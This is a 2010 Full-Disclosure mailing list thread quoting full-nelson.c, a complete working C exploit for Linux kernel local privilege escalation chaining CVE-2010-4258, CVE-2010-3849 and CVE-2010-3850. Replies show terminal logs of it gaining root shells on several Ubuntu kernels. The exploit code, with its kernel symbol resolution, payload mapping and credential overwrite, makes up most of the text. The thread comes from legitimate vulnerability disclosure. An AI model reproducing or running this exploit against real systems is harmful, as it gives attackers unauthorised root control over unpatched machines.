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Re: [Full-disclosure] Linux kernel exploit
- To: Benji <me@xxxxxxxxx>
- Subject: Re: [Full-disclosure] Linux kernel exploit
- From: David Flores <dmousex@xxxxxxxxx>
- Date: Wed, 8 Dec 2010 15:20:25 -0600
:~$ gcc nel.c
:~$ ./a.out
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf9c47280
[+] Resolved econet_ops to 0xf9c47360
[+] Resolved commit_creds to 0xc01625a0
[+] Resolved prepare_kernel_cred to 0xc01627a0
[*] Calculating target...
[*] Triggering payload...
[*] Got root!
# whoami
root
# id
uid=0(root) gid=0(root)
# uname -a
Linux sistemas 2.6.31-22-generic #65-Ubuntu SMP Thu Sep 16 15:48:58 UTC 2010
i686 GNU/Linux
#
On Wed, Dec 8, 2010 at 14:56, Benji <me@xxxxxxxxx> wrote:
> working here aswell
>
> ownsthis@local[~]$ uname -a
> FreeBSD local 8.1-RELEASE-p1 FreeBSD 8.1-RELEASE-p1 #4: Thu Sep 23 08:30:18
> UTC 2010 root@benjir0x:/*usr*/*obj*/*usr*/*src*/*sys*/GENERIC amd64
> ownsthis@local[~]$ ./w00tw00t
>
> [*] Resolving kernel addresses...
> [+] Resolved econet_ioctl to 0xffffffffa0239510
> [+] Resolved econet_ops to 0xffffffffa0239600
> [+] Resolved commit_creds to 0xffffffff8108bd90
> [+] Resolved prepare_kernel_cred to 0xffffffff8108c170
> [*] Calculating target...
>
> [*] Failed to set Econet address.
> [*] Triggering payload...
> [*] Got root!
> # id
> uid=0(root) gid=0(root)
> #
>
> On Wed, Dec 8, 2010 at 7:15 PM, leandro_lista <
> leandro_lista@xxxxxxxxxxxxxx> wrote:
>
>> Works in kernel 2.6.32-24
>>
>>
>>
>> Linux indzin-desktop 2.6.32-24-generic #41-Ubuntu SMP Thu Aug 19 01:38:40
>> UTC 2010 x86_64 GNU/Linux
>>
>> indzin@indzin-desktop:~$ ./nels
>> [*] Resolving kernel addresses...
>> [+] Resolved econet_ioctl to 0xffffffffa0239510
>> [+] Resolved econet_ops to 0xffffffffa0239600
>> [+] Resolved commit_creds to 0xffffffff8108bd90
>> [+] Resolved prepare_kernel_cred to 0xffffffff8108c170
>> [*] Calculating target...
>>
>> [*] Failed to set Econet address.
>> [*] Triggering payload...
>> [*] Got root!
>> # id
>> uid=0(root) gid=0(root)
>> #
>>
>>
>> :)
>>
>>
>>
>>
>> -----Original Message-----
>> *From*: Cal Leeming [Simplicity Media Ltd] <
>> cal.leeming@xxxxxxxxxxxxxxxxxxxxxxxx<%22Cal%20Leeming%20%5bSimplicity%20Media%20Ltd%5d%22%20%3ccal.leeming@xxxxxxxxxxxxxxxxxxxxxxxx%3e>
>> >
>> *Reply-to*: cal.leeming@xxxxxxxxxxxxxxxxxxxxxxxx
>> *To*: Dan Rosenberg
>> <dan.j.rosenberg@xxxxxxxxx<Dan%20Rosenberg%20%3cdan.j.rosenberg@xxxxxxxxx%3e>
>> >
>> *Cc*: full-disclosure@xxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
>> *Subject*: Re: [Full-disclosure] Linux kernel exploit
>> *Date*: Tue, 07 Dec 2010 21:06:44 +0000
>>
>> Anyone tested this in sandbox yet?
>>
>> On 07/12/2010 20:25, Dan Rosenberg wrote:
>> > Hi all,
>> >
>> > I've included here a proof-of-concept local privilege escalation exploit
>> > for Linux. Please read the header for an explanation of what's going
>> > on. Without further ado, I present full-nelson.c:
>> >
>> > Happy hacking,
>> > Dan
>> >
>> >
>> > --snip--
>> >
>> > /*
>> > * Linux Kernel<= 2.6.37 local privilege escalation
>> > * by Dan Rosenberg
>> > * @djrbliss on twitter
>> > *
>> > * Usage:
>> > * gcc full-nelson.c -o full-nelson
>> > * ./full-nelson
>> > *
>> > * This exploit leverages three vulnerabilities to get root, all of which
>> > were
>> > * discovered by Nelson Elhage:
>> > *
>> > * CVE-2010-4258
>> > * -------------
>> > * This is the interesting one, and the reason I wrote this exploit. If a
>> > * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a
>> > NULL
>> > * word will be written to a user-specified pointer when that thread
>> > exits.
>> > * This write is done using put_user(), which ensures the provided
>> > destination
>> > * resides in valid userspace by invoking access_ok(). However, Nelson
>> > * discovered that when the kernel performs an address limit override via
>> > * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page
>> > fault,
>> > * etc.), this override is not reverted before calling put_user() in the
>> > exit
>> > * path, allowing a user to write a NULL word to an arbitrary kernel
>> > address.
>> > * Note that this issue requires an additional vulnerability to trigger.
>> > *
>> > * CVE-2010-3849
>> > * -------------
>> > * This is a NULL pointer dereference in the Econet protocol. By itself,
>> > it's
>> > * fairly benign as a local denial-of-service. It's a perfect candidate
>> > to
>> > * trigger the above issue, since it's reachable via sock_no_sendpage(),
>> > which
>> > * subsequently calls sendmsg under KERNEL_DS.
>> > *
>> > * CVE-2010-3850
>> > * -------------
>> > * I wouldn't be able to reach the NULL pointer dereference and trigger
>> > the
>> > * OOPS if users weren't able to assign Econet addresses to arbitrary
>> > * interfaces due to a missing capabilities check.
>> > *
>> > * In the interest of public safety, this exploit was specifically
>> > designed to
>> > * be limited:
>> > *
>> > * * The particular symbols I resolve are not exported on Slackware or
>> > Debian
>> > * * Red Hat does not support Econet by default
>> > * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
>> > * Debian
>> > *
>> > * However, the important issue, CVE-2010-4258, affects everyone, and it
>> > would
>> > * be trivial to find an unpatched DoS under KERNEL_DS and write a
>> > slightly
>> > * more sophisticated version of this that doesn't have the roadblocks I
>> > put in
>> > * to prevent abuse by script kiddies.
>> > *
>> > * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
>> > *
>> > * NOTE: the exploit process will deadlock and stay in a zombie state
>> > after you
>> > * exit your root shell because the Econet thread OOPSes while holding the
>> > * Econet mutex. It wouldn't be too hard to fix this up, but I didn't
>> > bother.
>> > *
>> > * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
>> > */
>> >
>> > #include<stdio.h>
>> > #include<sys/socket.h>
>> > #include<fcntl.h>
>> > #include<sys/ioctl.h>
>> > #include<string.h>
>> > #include<net/if.h>
>> > #include<sched.h>
>> > #include<stdlib.h>
>> > #include<signal.h>
>> > #include<sys/utsname.h>
>> > #include<sys/mman.h>
>> > #include<unistd.h>
>> >
>> > /* How many bytes should we clear in our
>> > * function pointer to put it into userspace? */
>> > #ifdef __x86_64__
>> > #define SHIFT 24
>> > #define OFFSET 3
>> > #else
>> > #define SHIFT 8
>> > #define OFFSET 1
>> > #endif
>> >
>> > /* thanks spender... */
>> > unsigned long get_kernel_sym(char *name)
>> > {
>> > FILE *f;
>> > unsigned long addr;
>> > char dummy;
>> > char sname[512];
>> > struct utsname ver;
>> > int ret;
>> > int rep = 0;
>> > int oldstyle = 0;
>> >
>> > f = fopen("/proc/kallsyms", "r");
>> > if (f == NULL) {
>> > f = fopen("/proc/ksyms", "r");
>> > if (f == NULL)
>> > goto fallback;
>> > oldstyle = 1;
>> > }
>> >
>> > repeat:
>> > ret = 0;
>> > while(ret != EOF) {
>> > if (!oldstyle)
>> > ret = fscanf(f, "%p %c %s\n", (void **)&addr,&dummy,
>> > sname);
>> > else {
>> > ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
>> > if (ret == 2) {
>> > char *p;
>> > if (strstr(sname, "_O/") || strstr(sname,
>> > "_S."))
>> > continue;
>> > p = strrchr(sname, '_');
>> > if (p> ((char *)sname + 5)&& !strncmp(p - 3,
>> > "smp", 3)) {
>> > p = p - 4;
>> > while (p> (char *)sname&& *(p - 1) ==
>> > '_')
>> > p--;
>> > *p = '\0';
>> > }
>> > }
>> > }
>> > if (ret == 0) {
>> > fscanf(f, "%s\n", sname);
>> > continue;
>> > }
>> > if (!strcmp(name, sname)) {
>> > fprintf(stdout, " [+] Resolved %s to %p%s\n", name,
>> > (void *)addr, rep ? " (via System.map)" : "");
>> > fclose(f);
>> > return addr;
>> > }
>> > }
>> >
>> > fclose(f);
>> > if (rep)
>> > return 0;
>> > fallback:
>> > uname(&ver);
>> > if (strncmp(ver.release, "2.6", 3))
>> > oldstyle = 1;
>> > sprintf(sname, "/boot/System.map-%s", ver.release);
>> > f = fopen(sname, "r");
>> > if (f == NULL)
>> > return 0;
>> > rep = 1;
>> > goto repeat;
>> > }
>> >
>> > typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long
>> > cred);
>> > typedef unsigned long __attribute__((regparm(3))) (*
>> > _prepare_kernel_cred)(unsigned long cred);
>> > _commit_creds commit_creds;
>> > _prepare_kernel_cred prepare_kernel_cred;
>> >
>> > static int __attribute__((regparm(3)))
>> > getroot(void * file, void * vma)
>> > {
>> >
>> > commit_creds(prepare_kernel_cred(0));
>> > return -1;
>> >
>> > }
>> >
>> > /* Why do I do this? Because on x86-64, the address of
>> > * commit_creds and prepare_kernel_cred are loaded relative
>> > * to rip, which means I can't just copy the above payload
>> > * into my landing area. */
>> > void __attribute__((regparm(3)))
>> > trampoline()
>> > {
>> >
>> > #ifdef __x86_64__
>> > asm("mov $getroot, %rax; call *%rax;");
>> > #else
>> > asm("mov $getroot, %eax; call *%eax;");
>> > #endif
>> >
>> > }
>> >
>> > /* Triggers a NULL pointer dereference in econet_sendmsg
>> > * via sock_no_sendpage, so it's under KERNEL_DS */
>> > int trigger(int * fildes)
>> > {
>> > int ret;
>> > struct ifreq ifr;
>> >
>> > memset(&ifr, 0, sizeof(ifr));
>> > strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
>> >
>> > ret = ioctl(fildes[2], SIOCSIFADDR,&ifr);
>> >
>> > if(ret< 0) {
>> > printf("[*] Failed to set Econet address.\n");
>> > return -1;
>> > }
>> >
>> > splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
>> > splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
>> >
>> > /* Shouldn't get here... */
>> > exit(0);
>> > }
>> >
>> > int main(int argc, char * argv[])
>> > {
>> > unsigned long econet_ops, econet_ioctl, target, landing;
>> > int fildes[4], pid;
>> > void * newstack, * payload;
>> >
>> > /* Create file descriptors now so there are two
>> > references to them after cloning...otherwise
>> > the child will never return because it
>> > deadlocks when trying to unlock various
>> > mutexes after OOPSing */
>> > pipe(fildes);
>> > fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
>> > fildes[3] = open("/dev/zero", O_RDONLY);
>> >
>> > if(fildes[0]< 0 || fildes[1]< 0 || fildes[2]< 0 || fildes[3]< 0) {
>> > printf("[*] Failed to open file descriptors.\n");
>> > return -1;
>> > }
>> >
>> > /* Resolve addresses of relevant symbols */
>> > printf("[*] Resolving kernel addresses...\n");
>> > econet_ioctl = get_kernel_sym("econet_ioctl");
>> > econet_ops = get_kernel_sym("econet_ops");
>> > commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
>> > prepare_kernel_cred = (_prepare_kernel_cred)
>> > get_kernel_sym("prepare_kernel_cred");
>> >
>> > if(!econet_ioctl || !commit_creds || !prepare_kernel_cred ||
>> > !econet_ops) {
>> > printf("[*] Failed to resolve kernel symbols.\n");
>> > return -1;
>> > }
>> >
>> > if(!(newstack = malloc(65536))) {
>> > printf("[*] Failed to allocate memory.\n");
>> > return -1;
>> > }
>> >
>> > printf("[*] Calculating target...\n");
>> > target = econet_ops + 10 * sizeof(void *) - OFFSET;
>> >
>> > /* Clear the higher bits */
>> > landing = econet_ioctl<< SHIFT>> SHIFT;
>> >
>> > payload = mmap((void *)(landing& ~0xfff), 2 * 4096,
>> > PROT_READ | PROT_WRITE | PROT_EXEC,
>> > MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
>> >
>> > if ((long)payload == -1) {
>> > printf("[*] Failed to mmap() at target address.\n");
>> > return -1;
>> > }
>> >
>> > memcpy((void *)landing,&trampoline, 1024);
>> >
>> > clone((int (*)(void *))trigger,
>> > (void *)((unsigned long)newstack + 65536),
>> > CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
>> > &fildes, NULL, NULL, target);
>> >
>> > sleep(1);
>> >
>> > printf("[*] Triggering payload...\n");
>> > ioctl(fildes[2], 0, NULL);
>> >
>> > if(getuid()) {
>> > printf("[*] Exploit failed to get root.\n");
>> > return -1;
>> > }
>> >
>> > printf("[*] Got root!\n");
>> > execl("/bin/sh", "/bin/sh", NULL);
>> > }
>> >
>> >
>> > _______________________________________________
>> > Full-Disclosure - We believe in it.
>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> > Hosted and sponsored by Secunia - http://secunia.com/
>> >
>>
>>
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
--
David Flores Velázquez
Email: dmousex@xxxxxxxxx
<http://twitter.com/dmouse>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/